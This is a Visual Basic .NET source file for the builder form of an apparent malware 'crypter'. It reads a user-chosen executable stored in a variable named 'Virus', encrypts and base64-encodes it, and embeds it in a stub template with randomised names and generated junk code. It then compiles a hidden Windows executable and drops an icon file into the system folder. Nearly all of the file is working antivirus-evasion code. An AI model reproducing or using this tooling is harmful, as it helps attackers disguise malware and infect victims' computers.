crypters-scode/scode (crypterµ/Form1.vb

Imports System.Text
Imports System.CodeDom.Compiler
Imports System.Drawing.Imaging
Imports System.Reflection
Imports System.Runtime.CompilerServices

Public Class Form1
    Dim Virus, Crypt, Key, Original As String

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim A As New OpenFileDialog
        A.Filter = "Executables *.exe|*.exe"
        If A.ShowDialog = Windows.Forms.DialogResult.OK Then Virus = A.FileName
        If Not Virus = "" Then
            Label2.Text = "Loaded"
            Label2.ForeColor = Color.Green
        Else : End If
    End Sub

    Public Function Build()
        Try
            Dim Open As New SaveFileDialog
            Open.Filter = "Executables *.exe|*.exe"
            If Open.ShowDialog = Windows.Forms.DialogResult.OK Then
                Crypt = Open.FileName
                TextBox1.Text = Original

                Dim B As String() = {"+A+", "+B+", "+C+", "+D+", "+E+", "+F+", "+G+", "+H+", "+I+", "+J+", "+K+", "+L+", "+M+", "+N+", "+O+", "+P+", "+Q+", "+R+", "+S+", "+T+", "+U+", "+V+", "+W+", "+X+", "+Y+", "+Z+"}
                For i As Integer = 0 To B.Length - 1
                    TextBox1.Text = TextBox1.Text.Replace(B(i), Random(30))
                Next

                Dim D As Byte() = IO.File.ReadAllBytes(Virus)
                Dim C As New Encrypt(Key)
                Dim Input As Byte() = C.M(D)
                TextBox1.Text = TextBox1.Text.Replace("+Virus+", Format(Input))
                TextBox1.Text = TextBox1.Text.Replace("+Key+", Key)

                Dim A As String
                Dim Y As String
                A = GenerateJunk(RandomNumber(5, 1))
                Y = GenerateJunk(RandomNumber(6, 2))
                TextBox1.Text = TextBox1.Text.Replace("+JunkCode+", A)
                TextBox1.Text = TextBox1.Text.Replace("+MoreJunk+", Y)

                Compile(Crypt, TextBox1.Text, "")

                MsgBox("Crypting Is Completed", MsgBoxStyle.Information, "Done")
            End If
        Catch E As Exception
        End Try
    End Function

    Public Function Keygen(ByVal A As Integer) As Object
        Const B As String = "abcdefghijklmnopqrstuvwxyz"
        Const C As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        Const D As String = "1234567890"
        Dim E As String
        Dim i As Short
        E = B & C & D
        For i = 1 To CInt(A)
            Keygen = Keygen & Mid(E, Int((Rnd() * Len(E)) + 1), 1)
        Next i
    End Function

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If Virus = "" Then
            MsgBox("Error, Please Select a File to Crypt.", MsgBoxStyle.Critical, "Error")
        Else
            Build()
        End If
    End Sub

    Public Function Random(ByVal A As Integer) As String
        Randomize()
        Dim C As New System.Text.StringBuilder("")
        Dim D() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()
        For E As Integer = 1 To A
            Randomize()
            Dim z As Integer = Int(((D.Length - 2) - 0 + 1) * Rnd()) + 1
            C.Append(D(z))
        Next
        Return C.ToString
    End Function

    Public Shared Function Format(ByVal E As Byte()) As String
        Dim A As New System.Text.StringBuilder
        Dim B As String = Convert.ToBase64String(E)
        Dim C As String() = SplitString(B, 10)
        For D As Integer = 0 To C.Length - 1
            If D = C.Length - 1 Then
                A.Append(Chr(34) & C(D) & Chr(34))
            Else
                A.Append(Chr(34) & C(D) & Chr(34) & " & _" & vbNewLine)
            End If
        Next
        Return A.ToString
    End Function

    Public Function RandomNumber(ByVal A As Integer, Optional ByVal B As Integer = 0) As Integer
        Dim D As New Random(System.DateTime.Now.Millisecond)
        If B > A Then
            Dim C As Integer = B
            B = A
            A = C
        End If
        Return D.Next(B, A)
    End Function

    Public Shared Sub Compile(ByVal C As String, ByVal D As String, ByVal E As String)
        Dim A As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim B As New CompilerParameters()
        B.GenerateExecutable = True
        B.OutputAssembly = C
        B.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:X86 /debug- /target:winexe"
        B.ReferencedAssemblies.Add("System.dll")
        B.ReferencedAssemblies.Add("System.Data.dll")
        B.ReferencedAssemblies.Add("System.Windows.Forms.dll")
        Dim H = New Dictionary(Of String, String)
        H.Add("CompilerVersion", "v2.0")
        Dim F As String
        Dim G As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
        F = (G + "\Icon.ico")
        B.CompilerOptions &= (" /win32icon:" & F)
        A.CompileAssemblyFromSource(B, D)
    End Sub

    Private Shared Function SplitString(ByVal F As String, ByVal G As Long) As String()
        Dim A As Long = Math.Ceiling(F.Length / G)
        Dim B(A - 1) As String
        Dim C As Long = 0
        For D As Integer = 0 To A - 1
            If D = A - 1 Then
                Dim E((F.Length - C) - 1) As Char
                F.CopyTo(C, E, 0, (F.Length - C))
                B(D) = Convert.ToString(E)
            Else
                Dim E(G - 1) As Char
                F.CopyTo(C, E, 0, G)
                B(D) = Convert.ToString(E)
                C += G
            End If
        Next
        Return B
    End Function

    Function Drop()
        Dim Here As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
        Dim Stream As IO.Stream
        Dim FileName As String = (Here + "\Icon.ico")
        Stream = IO.File.OpenWrite(FileName)
        My.Resources.Icon.Save(Stream)
        Stream.Close()
    End Function

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Drop()
        Key = Keygen(30)
        Original = TextBox1.Text
    End Sub

    Public Function GenerateJunk(ByVal U As Integer) As String
        If U = 0 Then
            U = 1
        End If
        Dim Z As String = "Module " & S(20)
        Dim y As Integer = 0
        Do Until y = U
            Rnd()
            Dim a As Integer = N(3, 1)
            Dim e As String = S(60)
            If a = 1 Then
                Z += vbNewLine & vbNewLine & "Public Function " & S(124) & "(" & S(16) & " as string)as string" & vbNewLine

                Z += "on error goto " & e & vbNewLine
            Else
                Z += vbNewLine & "Public Sub " & S(N(50, 8)) & "(" & S(49) & " as string)" & vbNewLine
            End If
            Dim i As Integer = 0
            Dim limit As Integer = N(30, 10)
            Do Until i = limit
                Rnd()
                Dim type As Integer = N(5, 0)
                If type = 1 Then
                    Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine
                    i += 1
                ElseIf type = 2 Then
                    Z += "msgbox(" & Chr(34) & S(N(100, 276)) & Chr(34) & ")" & vbNewLine
                    i += 1
                ElseIf type = 3 Then
                    Rnd()
                    Z += "Dim " & S(56) & " as integer = " & N(999999, 100000) & vbNewLine
                    i += 1
                Else
                    Z += "dim " & S(N(10, 60)) & " as integer = " & N(100000, 9999999) & " + " & N(214124, 1243145) & " + " & N(214124, 1243145) & " + " & N(214124, 1243145) & vbNewLine
                End If
            Loop
            If a = 1 Then
                Z += e & ":" & vbNewLine
                Dim h As Integer = 0
                Dim hl As Integer = N(10, 3)
                Do Until h = hl
                    Dim type As Integer = N(4, 0)
                    If type = 1 Then
                        Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine
                        i += 1
                    ElseIf type > 1 Then
                        Z += "msgbox(" & Chr(34) & S(N(100, 276)) & Chr(34) & ")" & vbNewLine
                        i += 1
                        Z += "If " & N(100000, 9999999) & " > " & N(214124, 1243145) & " then" & vbNewLine

                        Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine
                        Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine
                        Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine
                        Z += "End if" & vbNewLine
                    Else
                        Rnd()
                        Z += "Dim " & S(56) & " as integer = " & N(999999, 100000) & vbNewLine
                        i += 1
                    End If
                    h += 1
                Loop
                Z += vbNewLine
                Z += "End Function" & vbNewLine & vbNewLine
            Else
                Z += "End Sub" & vbNewLine & vbNewLine
            End If
            y += 1
        Loop
        Z += "End Module"
        Return Z
    End Function

    Function S(ByVal A As String) As String
        Dim B As New Password
        Return B.M(True, True, False, False, A)
    End Function

    Public Function N(ByVal A As Integer, Optional ByVal B As Integer = 0) As Integer
        Rnd()
        Threading.Thread.Sleep(5)
        Dim C As New Random(System.DateTime.Now.Millisecond)
        If B > A Then
            Dim t As Integer = B
            B = A
            A = t
        End If
        Return C.Next(B, A)
    End Function
End Class

Public Class Encrypt
    Private A As String = ""

    Public Property B() As String
        Get
            Return A
        End Get
        Set(ByVal C As String)
            A = C
        End Set
    End Property

    Public Sub New(ByVal Key As String)
        B = Key
    End Sub

    Public Sub New()
        B = ""
    End Sub

    Public Function M(ByVal K() As Byte) As Byte()
        Dim L(K.Length) As Byte
        L(0) = Convert.ToByte(New Random().Next(1, 255))
        For i = 0 To K.Length - 1
            L(i + 1) = D(L(i), K(i))
        Next
        Return G(L, Encoding.Default.GetBytes(B))
    End Function

    Private Function D(ByVal E As Byte, ByVal F As Int16) As Byte
        While F < 0
            F += 256
        End While
        Return Convert.ToByte((E + F) Mod 256)
    End Function

    Private Function G(ByVal H() As Byte, ByVal J() As Byte) As Byte()
        If J.Length <> 0 Then
            For I = 0 To H.Length - 1
                H(I) = H(I) Xor D(J(I Mod J.Length), [J](J(I Mod J.Length) Mod J.Length)) Xor [J](((I + (I Mod 7)) Mod J.Length) Mod J.Length)
            Next
        End If
        Return H
    End Function
End Class

Public Class Password
    Private Const A As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Private Const B As String = "abcdefghijklmnopqrstuvwxyz"
    Private Const C As String = "0123456789"
    Private Const D As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?"

    Public Function M(ByVal E As Boolean, ByVal F As Boolean, ByVal G As Boolean, ByVal H As Boolean, ByVal J As Integer) As String
        Dim K As String
        Dim L As String
        Dim p As Integer
        If E = True Then
            K = K & A
        End If
        If F = True Then
            K = K & B
        End If
        If G = True Then
            K = K & C
        End If
        If H = True Then
            K = K & D
        End If
        Randomize()
        For p = 0 To (J - 1)
            L = L + Mid(K, Len(K) * Rnd() + 1, 1)
        Next
        M = L
    End Function
End Class